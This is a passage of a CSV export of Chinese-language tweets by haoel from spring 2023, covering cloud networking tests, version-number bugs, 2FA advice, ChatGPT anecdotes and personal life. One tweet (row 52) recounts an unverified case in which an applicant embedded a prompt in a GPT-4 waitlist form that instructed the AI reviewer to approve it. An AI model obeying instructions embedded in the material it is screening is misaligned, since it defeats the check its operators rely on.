https://t.co/t87lBB6P2q,,https://twitter.com/haoel/status/1655777866540527620\n41,1655774675254022145,2023-05-09 03:20:20+00:00,12,0,2,,@MiaBleem 演唱会如果不在最前面，简直没有任何意思。因为一是完全看不见，二是只能听到你周围的歌迷唱歌，根本听不见原唱😂,,https://twitter.com/haoel/status/1655774675254022145\n42,1655770543784882179,2023-05-09 03:03:55+00:00,219,16,40,,\"@nishuang 试想一下未来会是个什么场景？\n\n1）人类可以在公海、岛屿、飞机、热气球、火车、山区、野外等地方都可以上网。\n\n2）地球上所有的地表设备都可以上网，野外机器人，无人飞机，船舶，管道，自然保护区……\n\n互联网的版图进一步扩大，当然，这并不包括中国大陆地区……\",,https://twitter.com/haoel/status/1655770543784882179\n43,1655765766598443008,2023-05-09 02:44:56+00:00,5,0,3,,@kevinzhow 我们公司已经有两个人二阳了,,https://twitter.com/haoel/status/1655765766598443008\n44,1655748827813658624,2023-05-09 01:37:37+00:00,0,0,1,,@luoxiaxia 你想表达什么？,,https://twitter.com/haoel/status/1655748827813658624\n45,1655748670783127553,2023-05-09 01:37:00+00:00,11,1,10,,@dykaknsjwkmsmwm 这个是谷歌的广告投放，因人而异啊😂😂另外你没搞一个Adblock吗,,https://twitter.com/haoel/status/1655748670783127553\n46,1655738717250916353,2023-05-09 00:57:26+00:00,0,0,1,,@fancylea 我感觉你内心是矛盾的😂😂,,https://twitter.com/haoel/status/1655738717250916353\n47,1655737785926709248,2023-05-09 00:53:44+00:00,1,0,0,,@fancylea 而且，已经超过大多数歌手了,,https://twitter.com/haoel/status/1655737785926709248\n48,1655737091467407361,2023-05-09 00:50:59+00:00,4,0,1,,@fancylea 你得学会用动态的眼光来看问题，今天能做成这样，未来呢？,,https://twitter.com/haoel/status/1655737091467407361\n49,1655616828704706561,2023-05-08 16:53:06+00:00,37,7,2,,A developer forced to join a management meeting…,,https://twitter.com/haoel/status/1655616828704706561\n50,1655607102713499649,2023-05-08 16:14:27+00:00,40,3,6,,这首整的有点过分了，整的一点都不不比王杰的版本差啊……【AI 孙燕姿】《一场游戏一场梦》 https://t.co/zAMkQ0GwAq,\"[TextLink(text='b23.tv/6ulsAaR', url='https://b23.tv/6ulsAaR', tcourl='https://t.co/zAMkQ0GwAq', indices=(45, 68))]\",https://twitter.com/haoel/status/1655607102713499649\n51,1655580118482579456,2023-05-08 14:27:14+00:00,1,0,1,,@xringxie 美国对中国禁运Al,,https://twitter.com/haoel/status/1655580118482579456\n52,1655579871261650944,2023-05-08 14:26:15+00:00,376,67,16,,OpenAI 的 waitlist 是 AI 审核的？下面这个例子不知真假，某位用户申请GPT-4的API时，写上prompt 要求通过自己的请求，结果就通过了……跟SQL injection 类似，这难道是 prompt 注入攻击？ 😂😂 https://t.co/H13e1VuBYN https://t.co/k6iRorOkfV,\"[TextLink(text='linkedin.com/posts/tobias-n…', url='https://www.linkedin.com/posts/tobias-noyes_chatgpt4-activity-7061330376744427520-Arin', tcourl='https://t.co/H13e1VuBYN', indices=(121, 144))]\",https://twitter.com/haoel/status/1655579871261650944\n53,1655577554609135621,2023-05-08 14:17:02+00:00,59,4,15,,谁说 ChatGPT 到了倦怠期？（摘自我的朋友圈） https://t.co/ZYhQgNlyDC,,https://twitter.com/haoel/status/1655577554609135621\n54,1655574814118105088,2023-05-08 14:06:09+00:00,1,0,0,,@rxliuli @magicxqq 还好，我想通这回事儿的时候还没有智能手机……,,https://twitter.com/haoel/status/1655574814118105088\n55,1655573024358244357,2023-05-08 13:59:02+00:00,7,1,1,,@magicxqq https://t.co/f2jy512GDH,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1653668608319582209', tcourl='https://t.co/f2jy512GDH', indices=(10, 33))]\",https://twitter.com/haoel/status/1655573024358244357\n56,1655571482800717824,2023-05-08 13:52:55+00:00,34,2,4,,@wenqiangjp 我高考那年火遍大江南北的剧集……在上了大学宿舍里传看的众多小说中，与《平凡的世界》和《穆斯林的葬礼》以及王小波的《黄金时代》一样打动我的就王朔文集里挚情卷的爱情故事，比如：《永失我爱》，《一半是海水一半火焰》，《空中小姐》……我一直认为王朔写的最好的就是爱情故事……,,https://twitter.com/haoel/status/1655571482800717824\n57,1655568445998759937,2023-05-08 13:40:51+00:00,0,0,0,,@networkingox 一开始的成本不是运维,,https://twitter.com/haoel/status/1655568445998759937\n58,1655515045609246723,2023-05-08 10:08:39+00:00,1,0,1,,@thecalicastle 这里明显不是I/O的问题,,https://twitter.com/haoel/status/1655515045609246723\n59,1655514399753531392,2023-05-08 10:06:05+00:00,160,34,18,,这两天技术圈头条的【Amazon的流媒体平台 Prime Video 从微服架构到单体架构”】我以为 Prime Video 遇到不是技术问题，而是AWS  Step Function处理能力不足，而且收费很贵的问题。如果 可以无限扩展且白菜价，那么他们还会有动力改成单体吗？会不会反过来吹爆 Serverless？https://t.co/uJIVrilNbj,\"[TextLink(text='coolshell.cn/articles/22422…', url='https://coolshell.cn/articles/22422.html', tcourl='https://t.co/uJIVrilNbj', indices=(158, 181))]\",https://twitter.com/haoel/status/1655514399753531392\n60,1655504758046879744,2023-05-08 09:27:46+00:00,1,0,0,,@shinyzhu 你找分享人,,https://twitter.com/haoel/status/1655504758046879744\n61,1655440042666479618,2023-05-08 05:10:37+00:00,4,0,0,,@plantegg 这工具真牛👍,,https://twitter.com/haoel/status/1655440042666479618\n62,1655438722769334272,2023-05-08 05:05:22+00:00,65,7,5,,谢谢Cali！另外说明一下：我司每周一都会有个分享，以前会把一些分享公开对外，过去一年，我们换了一个方式，就是把公司的内部分享做成了一个半公开的——也就是在我们开源社区里有过贡献的同学都会被拉到我司的Discord群中，可以参与我司每周一的技术分享，以及我司的一些员工服务，比如：ChatGPT等。,,https://twitter.com/haoel/status/1655438722769334272\n63,1655210679354425350,2023-05-07 13:59:12+00:00,11,0,8,,转岀来“引战”……😜😝🤪😛,,https://twitter.com/haoel/status/1655210679354425350\n64,1655015338935992320,2023-05-07 01:03:00+00:00,9,3,2,,\"@kage20121229 美国银行也一样啊，三种自动还款\n- Minimum Payment \n- Statement Payment \n- Fixed Payment \n自动开通的是Minimum ，一个月25或40刀欠的挣你利息。\",,https://twitter.com/haoel/status/1655015338935992320\n65,1654886090485149698,2023-05-06 16:29:24+00:00,1,0,1,,@wenqiangjp 你应该放YouTube,,https://twitter.com/haoel/status/1654886090485149698\n66,1654883406428377088,2023-05-06 16:18:44+00:00,76,21,4,,\"这则新闻惊悚吧：《IBM to pause hiring in plan to replace 7,800 jobs with AI》\nhttps://t.co/Tjs1dD51sJ\",\"[TextLink(text='reuters.com/technology/ibm…', url='https://www.reuters.com/technology/ibm-pause-hiring-plans-replace-7800-jobs-with-ai-bloomberg-news-2023-05-01/', tcourl='https://t.co/Tjs1dD51sJ', indices=(68, 91))]\",https://twitter.com/haoel/status/1654883406428377088\n67,1654866123270279169,2023-05-06 15:10:04+00:00,0,0,0,,@Popbones @cloudwu @takeda_iori 考证的挺好，我就是瞎蒙😜🤪,,https://twitter.com/haoel/status/1654866123270279169\n68,1654865676899880967,2023-05-06 15:08:17+00:00,0,0,1,,@hongqn @figoyang 他是谁呀？介绍介绍。,,https://twitter.com/haoel/status/1654865676899880967\n69,1654696962225246208,2023-05-06 03:57:53+00:00,36,1,7,,@cloudwu @takeda_iori 其实，我个觉得 default 应该还是按字面含义来理解，de-fault，处理 fault 的代码或值，就是说，如果用户没有设置这个值或是处理这个条件，就是一个 fault 的 case，而 defalut 是用来消除这个错误的……不知道怎么翻译成中文，但是我觉得不翻译更好，翻译了就失去了 de-falut 的韵味……,,https://twitter.com/haoel/status/1654696962225246208\n70,1654692905074982912,2023-05-06 03:41:45+00:00,1,0,0,,@plantegg 哦，是我看走了，的确跟 retry 没关系。主要还是 RTT 的 问题,,https://twitter.com/haoel/status/1654692905074982912\n71,1654665635153190912,2023-05-06 01:53:24+00:00,0,0,0,,@xianlezheng @plantegg 不知道了sudo apt install 出来的,,https://twitter.com/haoel/status/1654665635153190912\n72,1654659993948520449,2023-05-06 01:30:59+00:00,3,0,3,,@plantegg 报告数据是iperf -e 参数生成的，整个命令行我都贴在Excel里了。你可以关注一下RTT和Retry的变化，还有当第二个client的退出以后的变化……,,https://twitter.com/haoel/status/1654659993948520449\n73,1654656361928568832,2023-05-06 01:16:33+00:00,0,0,1,,@ohayobruce 就等你来捞我了！,,https://twitter.com/haoel/status/1654656361928568832\n74,1654656323722805250,2023-05-06 01:16:24+00:00,0,0,0,,@miku_is_neko 就等你来捞我了！,,https://twitter.com/haoel/status/1654656323722805250\n75,1654655067365179393,2023-05-06 01:11:24+00:00,84,11,2,,\"我没有t2.micro，不过我正好有三台t2.medium（base 256Mbps, burst 1Gbps）我用iperf测试了一下，AWS果然是用 RTT + Retry 来控制网速（的确高明），而且也符合突发峰值1Gbps，平时256Mbps的网速。测试数据在这里（分别用两个client连到server，测试时间已对齐）https://t.co/MKc6Iuusmf\n\n大家帮看看\",\"[TextLink(text='docs.google.com/spreadsheets/d…', url='https://docs.google.com/spreadsheets/d/1ayC9SV1kgGjB_VHa8pAuyxjMIIZf5bEh1kiYDTo8j6I/', tcourl='https://t.co/MKc6Iuusmf', indices=(165, 188))]\",https://twitter.com/haoel/status/1654655067365179393\n76,1654654583149563904,2023-05-06 01:09:29+00:00,40,3,1,,\"@plantegg @bnu_chenshuo 我没有t2.micro，不过我正好有三台t2.medium（base 256Mbps, bust 1024Mbps）我用 iperf 测试了一下，AWS果然是用 RTT + Retry 来控制网速（的确高明），而且也符合突发峰值1Gbps，平时256Mbps的网速。\n\n测试数据在这里（分别用两个client连到server，测试时间已对齐）：https://t.co/MKc6Iuusmf\",\"[TextLink(text='docs.google.com/spreadsheets/d…', url='https://docs.google.com/spreadsheets/d/1ayC9SV1kgGjB_VHa8pAuyxjMIIZf5bEh1kiYDTo8j6I/', tcourl='https://t.co/MKc6Iuusmf', indices=(196, 219))]\",https://twitter.com/haoel/status/1654654583149563904\n77,1654621449922183168,2023-05-05 22:57:49+00:00,3,0,1,,@tinyfool 你来北京请你海底捞,,https://twitter.com/haoel/status/1654621449922183168\n78,1654534274727673856,2023-05-05 17:11:25+00:00,200,6,47,,\"20+ 年开发经验，求捞😜\n\n++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;&gt;++++.-------.++++++++++++++.----------.+++++++.&lt;------.&gt;----.+++++++.+++++.-------.------------.++++++++.+++.&lt;&lt;++++++++++++++++.&gt;&gt;---------.++++++++++++.--.\",,https://twitter.com/haoel/status/1654534274727673856\n79,1654343764733997057,2023-05-05 04:34:24+00:00,1,0,1,,@hanrenwei 我当然知道,,https://twitter.com/haoel/status/1654343764733997057\n80,1654337186769297409,2023-05-05 04:08:16+00:00,0,0,0,,@asakawa_natsuki 当然可以，没问题,,https://twitter.com/haoel/status/1654337186769297409\n81,1654336860410490881,2023-05-05 04:06:58+00:00,0,0,1,,@FreiheitYu @alswl @cloudwu 还有身份证,,https://twitter.com/haoel/status/1654336860410490881\n82,1654332193324552195,2023-05-05 03:48:25+00:00,2,0,0,,@iamshaynez 我才发了2s你就看到了，我不是删除了，是删了重发 😜🤣,,https://twitter.com/haoel/status/1654332193324552195\n83,1654331340307968002,2023-05-05 03:45:02+00:00,51,8,9,,\"LeetCode上有个“版本号比较”的编程题，难度是 Medium 级别，大家可以试试看，看看你能不能在半小时内搞定这个算法？\nhttps://t.co/RBm4OvQJWE\",\"[TextLink(text='leetcode.com/problems/compa…', url='https://leetcode.com/problems/compare-version-numbers/', tcourl='https://t.co/RBm4OvQJWE', indices=(64, 87))]\",https://twitter.com/haoel/status/1654331340307968002\n84,1654331337971732480,2023-05-05 03:45:01+00:00,76,12,24,,\"昨天发个推说版本号的问题，引得大家关注，有人说要用字符串，有人说要用三段版本……既然大家感兴趣，那就考虑下面的案例：\n- 1 和 1.0 和 1.0.0\n- 1.1 和 1.01 和1.1.0\n- 1.1 和 1.10\n- 1.2 和 1.10\n- 1.10 和 1.020\n版本号比较bug很多的原因在于，这种设计把整数，小数和字符串混在了一起用……\",,https://twitter.com/haoel/status/1654331337971732480\n85,1654269950109061120,2023-05-04 23:41:05+00:00,106,6,17,,\"@sofish 我差点回复了，前端React/Vue, 后端Spring boot……🤪\",,https://twitter.com/haoel/status/1654269950109061120\n86,1654266775855579136,2023-05-04 23:28:28+00:00,0,0,0,,@FreiheitYu @cloudwu 你这个是数学表达式啊,,https://twitter.com/haoel/status/1654266775855579136\n87,1654077704961130496,2023-05-04 10:57:10+00:00,3,0,1,,@cryptonerdcn 什么flag？,,https://twitter.com/haoel/status/1654077704961130496\n88,1654074716968357888,2023-05-04 10:45:18+00:00,414,50,57,,今天掉坑了，想把Golang的版本从 1.19 升级到 1.20，结果发现所有的 github action 都挂了，原因是github action 认为 1.20 是 1.2 而不是“一点二十”，所以，相当于降级了……😂  解决方法也很简单，用引号改成字符串……软件的版本管理也是够了…… https://t.co/5JFInoIKFi,,https://twitter.com/haoel/status/1654074716968357888\n89,1653780643640385536,2023-05-03 15:16:45+00:00,18,0,1,,@0xb8ea 那不相当于降薪么，另外，我跟家人分开过么？,,https://twitter.com/haoel/status/1653780643640385536\n90,1653778821328547842,2023-05-03 15:09:31+00:00,61,0,0,,@muge_soft 车上看书，不会眼花和晕车么……,,https://twitter.com/haoel/status/1653778821328547842\n91,1653668608319582209,2023-05-03 07:51:34+00:00,634,57,56,,通勤时间是要计算的。十多年前，往返于东四环和西二旗，虽然公司班车就在家门口，但也要1.5个小时单程。后来计算了一下，一天路上3小时，一个月工作20天要60个小时，一年则要720个小时，整整30天！于是，果断降薪换工作换到家门口，上下班走路10分钟，如果按8小时算，一年相当于比别人多活了三个月……,,https://twitter.com/haoel/status/1653668608319582209\n92,1653659427168473088,2023-05-03 07:15:05+00:00,335,53,31,,这些骗子为了盗你telegram的号，加你个好友，发你个验证码，然后让你搜“this not”，于是，telegram发你的验证码就被搜索出来了，然后再让截个图给他们，图里就包含有验证码……这招今天还在用……难道骗了们不知道telegram的验证码信息升级成了雪花点了么？ https://t.co/zyFRFqrxPa,,https://twitter.com/haoel/status/1653659427168473088\n93,1653570168814186498,2023-05-03 01:20:24+00:00,74,6,6,,Github Copilot 后台是 ChatGPT 无疑了，又跟我来贯口了…… （refer to: https://t.co/9Xjig0EjHJ） https://t.co/KJKN2ySzOA,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1641028673061961730', tcourl='https://t.co/9Xjig0EjHJ', indices=(52, 75))]\",https://twitter.com/haoel/status/1653570168814186498\n94,1653306441183404034,2023-05-02 07:52:27+00:00,34,0,8,,来798玩，看到了各式各样的摩托车…… https://t.co/z5xJv8X5i2,,https://twitter.com/haoel/status/1653306441183404034\n95,1653057415498305537,2023-05-01 15:22:54+00:00,103,14,30,,手柄因为玩足球比较狠，所以左边摇杆出现了“漂移”，也就是摇杆在静止状态下会乱动。上淘宝找北京的维修，一个是个人收费¥60，另一个是有门店收费¥100。我谷歌了下，有好些视频说把手柄拆开用WD40喷一下就好，然后我发现小区旁边的超市正好有卖WD40，还照着视频教程拆开一喷，果然好了……真神器啊…… https://t.co/nvth5swAK3,,https://twitter.com/haoel/status/1653057415498305537\n96,1653015533741297665,2023-05-01 12:36:29+00:00,0,0,0,,@CCCCYDZS 同样的问题,,https://twitter.com/haoel/status/1653015533741297665\n97,1653014988481794048,2023-05-01 12:34:19+00:00,109,1,25,,我是不是可以开始接单了？😜 https://t.co/pgFeM4P6vG,,https://twitter.com/haoel/status/1653014988481794048\n98,1652982548639907847,2023-05-01 10:25:25+00:00,82,21,7,,今年我们再来重温一下这句话……,,https://twitter.com/haoel/status/1652982548639907847\n99,1652954956511444992,2023-05-01 08:35:46+00:00,502,76,37,,今天听我爸跟他的几位朋友语音聊天，听到聊天过程中他们谈到同龄人离世的消息时，其中有人说，“我在早上起床的时候在群里问候“早上好”，就是想告诉大家我还在，如果哪天不问了，基本就是我已经离开了”…… 我一直觉得每天早上发中老年表情包问候早安有点土，但这回被这句话实实在在地触动到了…… https://t.co/41usARLjLd,,https://twitter.com/haoel/status/1652954956511444992\n100,1652589869020110856,2023-04-30 08:25:03+00:00,4,0,0,,@MiaBleem 我就是想说你的推发的太好了，画面感太强了👍,,https://twitter.com/haoel/status/1652589869020110856\n101,1652588999968694272,2023-04-30 08:21:35+00:00,62,1,1,,@MiaBleem 😂😂😂 https://t.co/bSvDLiX7BW,,https://twitter.com/haoel/status/1652588999968694272\n102,1652586645663916032,2023-04-30 08:12:14+00:00,0,0,1,,@echobravos 会收费的，但还没想好怎么收,,https://twitter.com/haoel/status/1652586645663916032\n103,1652586271209033728,2023-04-30 08:10:45+00:00,3,0,2,,@sunyjams 边境通行证,,https://twitter.com/haoel/status/1652586271209033728\n104,1652564164823650309,2023-04-30 06:42:54+00:00,4,0,2,,@mranti 应该上传YouTube啊,,https://twitter.com/haoel/status/1652564164823650309\n105,1652563079484575747,2023-04-30 06:38:35+00:00,22,0,0,,@kaka06222932 护照十年有效期，签注可以不断地收钱,,https://twitter.com/haoel/status/1652563079484575747\n106,1652558407470284800,2023-04-30 06:20:02+00:00,512,59,26,,我的真实案例：2009年，因为工作成绩比较出色，我英国老板要带我去香港研发中心两周指导技术工作，结果英国老板在出发前一星期才通知我。我说香港通行证要提前15个工作日申请，而且只能待七天。英国老板非常惊讶，还要通行证？我们把香港还给你们十多年了啊，我英国护照到香港都免签，而且能待半年……,,https://twitter.com/haoel/status/1652558407470284800\n107,1652555372031537155,2023-04-30 06:07:58+00:00,1,1,0,,@DashHuang @tenjiasan 这个比喻相当精彩,,https://twitter.com/haoel/status/1652555372031537155\n108,1652555230717026305,2023-04-30 06:07:24+00:00,2,0,1,,@thecalicastle 这么大的噪音是要起飞了吗？😂😂,,https://twitter.com/haoel/status/1652555230717026305\n109,1652514410651615234,2023-04-30 03:25:12+00:00,108,11,12,,\"@PenngXiao 致99.85%的码农，就算是你每天都有大量的时间，你也不知道要干什么。\n#心灵韭菜\",,https://twitter.com/haoel/status/1652514410651615234\n110,1652504366245613568,2023-04-30 02:45:17+00:00,1,0,0,,@ninesun14 1）MegaEase Cloud的中间件是主机部，不是容器。2）支持私有化部署，不过对我们的支持，而且收费相对较高,,https://twitter.com/haoel/status/1652504366245613568\n111,1652461678548877313,2023-04-29 23:55:40+00:00,65,15,2,,\"中国区: https://t.co/Jkg36wUoBF\n国际区：https://t.co/ZqIkBPxWWY\n\n这两个区完全独立，帐号不互通\n\n演示：https://t.co/q2eCdZjENY\n\n文章：\n- 欢迎使用 MegaEase Cloud https://t.co/LJ6BAALiNg\n- 2023 年 03 月重大更新 https://t.co/3sSDVmjtdJ\",\"[TextLink(text='cloud.megaease.cn', url='https://cloud.megaease.cn', tcourl='https://t.co/Jkg36wUoBF', indices=(5, 28)), TextLink(text='cloud.megaease.com', url='https://cloud.megaease.com', tcourl='https://t.co/ZqIkBPxWWY', indices=(33, 56)), TextLink(text='b23.tv/14uKrv4', url='https://b23.tv/14uKrv4', tcourl='https://t.co/q2eCdZjENY', indices=(77, 100)), TextLink(text='megaease.cn/zh/blog/2023/0…', url='https://megaease.cn/zh/blog/2023/02/15/welcome-to-megaease-cloud/', tcourl='https://t.co/LJ6BAALiNg', indices=(128, 151)), TextLink(text='megaease.cn/zh/blog/2023/0…', url='https://megaease.cn/zh/blog/2023/04/06/megaease-cloud-2023.03-significant-update/', tcourl='https://t.co/3sSDVmjtdJ', indices=(170, 193))]\",https://twitter.com/haoel/status/1652461678548877313\n112,1652457293492125697,2023-04-29 23:38:14+00:00,211,52,6,,嗯，大家可以考虑一下我司真正降低成本的解决方案：MegaEase Cloud 。目前可以降低成本的方式：1）基础软件：通过开源软件自建，2）内容分发：MinIO + Cloudflare 的免费 CDN，3）马上准备发布的直接与底层IDC合作的廉价GPU计算资源……,,https://twitter.com/haoel/status/1652457293492125697\n113,1652373505533673472,2023-04-29 18:05:17+00:00,7,0,1,,@geniusvczh 猴子天天闲着也发明创造不了什么,,https://twitter.com/haoel/status/1652373505533673472\n114,1652372556345921537,2023-04-29 18:01:31+00:00,781,180,28,,\"因为我经历过网暴\n所以很喜欢下面这三句话\n\nGreat minds discuss ideas\nAverage minds discuss events\nSmall minds discuss people\n\n我试着翻译一下：\n\n卓越之识论道，\n平常之识论事，\n狹隘之识论人。\n\n无论一个人怎么样，都不应对人上纲上线“批斗”。无论你是左还是右，这么做都跟文革没啥两样…… https://t.co/NddSLHoSUH\",,https://twitter.com/haoel/status/1652372556345921537\n115,1652365626864996352,2023-04-29 17:33:59+00:00,1,0,0,,@PenngXiao 猴子的找到了金矿也不知道怎么挣钱,,https://twitter.com/haoel/status/1652365626864996352\n116,1652240199802556416,2023-04-29 09:15:35+00:00,5,0,2,,@nishuang 你也叫我“皓叔”……😤,,https://twitter.com/haoel/status/1652240199802556416\n117,1652218308673044481,2023-04-29 07:48:36+00:00,43,2,6,,我把ChatGPT扔给我们家孩子，我想看看孩子会玩什么东西，。结果孩子用来创作的原神游戏角色（孩子是原神没的重度玩家），孩子说创作的不像原神的，但是还是给了很多有趣的灵感…… PS：话说，咖啡馆长是什么脑洞？😂 https://t.co/tVNs0pqmQU,,https://twitter.com/haoel/status/1652218308673044481\n118,1652181938462134279,2023-04-29 05:24:04+00:00,20,2,1,,@evil__CCP__ 你是为分数而学习，我是为了能力而学习……,,https://twitter.com/haoel/status/1652181938462134279\n119,1652175933800091651,2023-04-29 05:00:13+00:00,49,3,3,,@evil__CCP__ 要靠补习班才能提高学习成绩的人基本上是没有学习能力的人……,,https://twitter.com/haoel/status/1652175933800091651\n120,1652172468591935494,2023-04-29 04:46:27+00:00,887,167,52,,不上补习班，学好英语和数学，远离“茧中”互联网，使用最先进的软件技术和App，开阔眼界，鼓励挑战权威，自己设定自己的目标，自己对自己负责……,,https://twitter.com/haoel/status/1652172468591935494\n121,1651979629241184257,2023-04-28 16:00:10+00:00,22,1,0,,@nishuang 个人主义 vs 集体主义,,https://twitter.com/haoel/status/1651979629241184257\n122,1651976011352014848,2023-04-28 15:45:47+00:00,13,1,1,,@zooblecks 那可能是因为你没见到海外的更大数量的工具……,,https://twitter.com/haoel/status/1651976011352014848\n123,1651975306499194881,2023-04-28 15:42:59+00:00,42,0,3,,@UVW55555 我觉得是教育。不让你996你也想不出这些玩意，创造力在学校的时候就已经被磨灭掉了……,,https://twitter.com/haoel/status/1651975306499194881\n124,1651974447933554692,2023-04-28 15:39:35+00:00,567,51,52,,最近花时间撸了一下海外的各种各样的新的软件产品和工具，有小玩意的，有大格局，有套壳拼装，有创新颠覆，有做给程序员自己玩技术的，也有做给小白用户无技术含量的……深深感到海外程序员生活在自由无拘无束的环境下，创新能力过剩，所以有这么多好产品也就不意外了，这种创新能力差距真是太大了……,,https://twitter.com/haoel/status/1651974447933554692\n125,1651832373531807744,2023-04-28 06:15:02+00:00,0,0,0,,@hongqn @plantegg 是的,,https://twitter.com/haoel/status/1651832373531807744\n126,1651801758778396672,2023-04-28 04:13:22+00:00,4,1,0,,@cxyxlxdm @plantegg 现在有1/4的网站用H3，而且大公司都在切H3……,,https://twitter.com/haoel/status/1651801758778396672\n127,1651750232311623680,2023-04-28 00:48:38+00:00,3,0,1,,@lewangdev 你比我先收到了1分钟 😜,,https://twitter.com/haoel/status/1651750232311623680\n128,1651749811736158208,2023-04-28 00:46:57+00:00,6,0,1,,@chenshaoao 这个应该要做信息冗余的。就像订单数据里面会保存一份商品的信息和价格。,,https://twitter.com/haoel/status/1651749811736158208\n129,1651748238662438914,2023-04-28 00:40:42+00:00,2,0,1,,@nibaijing 你们做数据同步？难道不是用slave模式么？,,https://twitter.com/haoel/status/1651748238662438914\n130,1651734629106450433,2023-04-27 23:46:37+00:00,3,0,0,,@5114259 个人，大概1.5个月吧,,https://twitter.com/haoel/status/1651734629106450433\n131,1651731128565530626,2023-04-27 23:32:43+00:00,235,12,42,,终于等到了OpenWaitlist公司的邮件！ https://t.co/f6ALy4T7CF,,https://twitter.com/haoel/status/1651731128565530626\n132,1651727088511250432,2023-04-27 23:16:40+00:00,36,1,0,,@wangzhian8848 恭喜,,https://twitter.com/haoel/status/1651727088511250432\n133,1651726877424508932,2023-04-27 23:15:49+00:00,5,1,1,,@whaling__ship @plantegg UDP{QUIC),,https://twitter.com/haoel/status/1651726877424508932\n134,1651726695244926977,2023-04-27 23:15:06+00:00,246,38,37,,这种问题从我二十年前开始编程的时候到今天不断地碰到……不知道“软删除”这个实践大家是哪里学来的？操作系统么？ https://t.co/8iAR1dMf4X,,https://twitter.com/haoel/status/1651726695244926977\n135,1651603251098435585,2023-04-27 15:04:35+00:00,48,4,10,,@plantegg TCP的几个税：延迟税，丟包税，以及拥塞控制税，TCP协议还是早点淘汰得了，税太重了……,,https://twitter.com/haoel/status/1651603251098435585\n136,1651389697242054658,2023-04-27 00:55:59+00:00,5,0,0,,@PenngXiao 你不会搞个小号自己艾特自己吧？🤪🤣,,https://twitter.com/haoel/status/1651389697242054658\n137,1651204383969800193,2023-04-26 12:39:37+00:00,4,2,3,,来自1Password的博文：https://t.co/vr5HRLTdK9 https://t.co/n7ocPw6E8l,\"[TextLink(text='blog.1password.com/totp-for-1pass…', url='https://blog.1password.com/totp-for-1password-users/', tcourl='https://t.co/vr5HRLTdK9', indices=(15, 38))]\",https://twitter.com/haoel/status/1651204383969800193\n138,1651204024140537859,2023-04-26 12:38:11+00:00,28,7,1,,\"This is a very good article about the TOTP &amp; 2FA , recommend reading 👍\",,https://twitter.com/haoel/status/1651204024140537859\n139,1651143359497670658,2023-04-26 08:37:08+00:00,58,3,56,,第一次见MacBook 扩展屏突然雪花状，拔开重插就好了…… https://t.co/cm1oKQLREE,,https://twitter.com/haoel/status/1651143359497670658\n140,1651039679159111680,2023-04-26 01:45:09+00:00,82,12,10,,补充一下，有一些同学用 1Password 存放账户，密码，2FA/MFA 等全部信息。其实这样做并不好。双（多）因认证的目的是防止你的账号密码泄漏后的安全问题，所以尽可能的还是分开存放。我的不同账号密码都会分开存于chrome和钥匙链，给朋友传用户名密码也会分开发，如：用户名用微信，密码用discord……,,https://twitter.com/haoel/status/1651039679159111680\n141,1651035789034389505,2023-04-26 01:29:41+00:00,4,0,1,,@maxhis 是的，但也不是因为没有绝对的安全，就放弃安全了……设 2FA 的目的不就是怕密码被泄漏吗？,,https://twitter.com/haoel/status/1651035789034389505\n142,1651034135056764932,2023-04-26 01:23:07+00:00,0,0,2,,@maxhis 你不感觉这样做很不安全吗？,,https://twitter.com/haoel/status/1651034135056764932\n143,1651005996326850560,2023-04-25 23:31:18+00:00,25,0,10,,@lukfan 感觉你们前面站了一排小姐……🤣🤣,,https://twitter.com/haoel/status/1651005996326850560\n144,1651005000515203073,2023-04-25 23:27:20+00:00,1,0,0,,@Nuinuomomo 昆明,,https://twitter.com/haoel/status/1651005000515203073\n145,1651004822269890561,2023-04-25 23:26:38+00:00,437,69,105,,Google Authenticator 经过这么多年，终于做上了账号同步的功能！再也不用Export了，之前在做手机迁移的时候忘了把Authenticator人肉同步到另外一个手机，差点丢失Github的访问权限，还好打印了Recovery Code……我几乎所有的网络账号都开了2FA，强烈建议大家也开启！ https://t.co/UNks6oAlYZ,,https://twitter.com/haoel/status/1651004822269890561\n146,1650865597419520008,2023-04-25 14:13:24+00:00,75,3,12,,注明一下：这里的“电动车”特指“电驴”，即两轮电瓶车，常见于外卖小哥或上班族……尤其是外卖小哥，需要赶时间，还要看手机，很多时候造成很多大大小小的交通事故……,,https://twitter.com/haoel/status/1650865597419520008\n147,1650864647833268225,2023-04-25 14:09:38+00:00,1,0,1,,@Ari76184709 可不是么……,,https://twitter.com/haoel/status/1650864647833268225\n148,1650863506449899523,2023-04-25 14:05:06+00:00,308,32,77,,我父母的一个同学今天晚上去门溜弯在路口被电动车撞死了，享年76岁，这是我身边近年来第二个被电动车撞死的老人了……说实话，路口过马路，机动车基本上都会停车等红灯，最害怕的反而是电动车，各种横冲直闯，根本不管交通信号灯……大家也多提醒一下自己的父母和老人过马路的时候多小心一下电动车！,,https://twitter.com/haoel/status/1650863506449899523\n149,1650773494127550470,2023-04-25 08:07:25+00:00,2,0,1,,@bearbig 100周年就是上周的事儿啊。我有个也在澳洲的大学同学也回昆明了。,,https://twitter.com/haoel/status/1650773494127550470\n150,1650772617148911616,2023-04-25 08:03:56+00:00,0,0,1,,@bearbig 真是校友了，100周年回云大了吗？,,https://twitter.com/haoel/status/1650772617148911616\n151,1650768735320547329,2023-04-25 07:48:30+00:00,3,0,3,,\"@bearbig 你也是昆明的？\n\n“莫啰里八嗦呢，咯会整？”😂😂\",,https://twitter.com/haoel/status/1650768735320547329\n152,1650768021022187521,2023-04-25 07:45:40+00:00,5,0,0,,\"@DashHuang @bearbig Refer to\nhttps://t.co/tIyNjr9x39\",\"[TextLink(text='zh.m.wikipedia.org/zh-cn/%E7%94%9…', url='https://zh.m.wikipedia.org/zh-cn/%E7%94%9F%E5%91%BD%E3%80%81%E5%AE%87%E5%AE%99%E4%BB%A5%E5%8F%8A%E4%BB%BB%E4%BD%95%E4%BA%8B%E6%83%85%E7%9A%84%E7%B5%82%E6%A5%B5%E7%AD%94%E6%A1%88', tcourl='https://t.co/tIyNjr9x39', indices=(29, 52))]\",https://twitter.com/haoel/status/1650768021022187521\n153,1650758206581526528,2023-04-25 07:06:40+00:00,44,4,7,,@bearbig 我42岁的时候，就晒了这么一个梗图。一图胜千言。 https://t.co/RhGnJiH8jD,,https://twitter.com/haoel/status/1650758206581526528\n154,1650744985195794433,2023-04-25 06:14:08+00:00,17,1,4,,@NoContextHumans O(n) complexity,,https://twitter.com/haoel/status/1650744985195794433\n155,1650435343353786369,2023-04-24 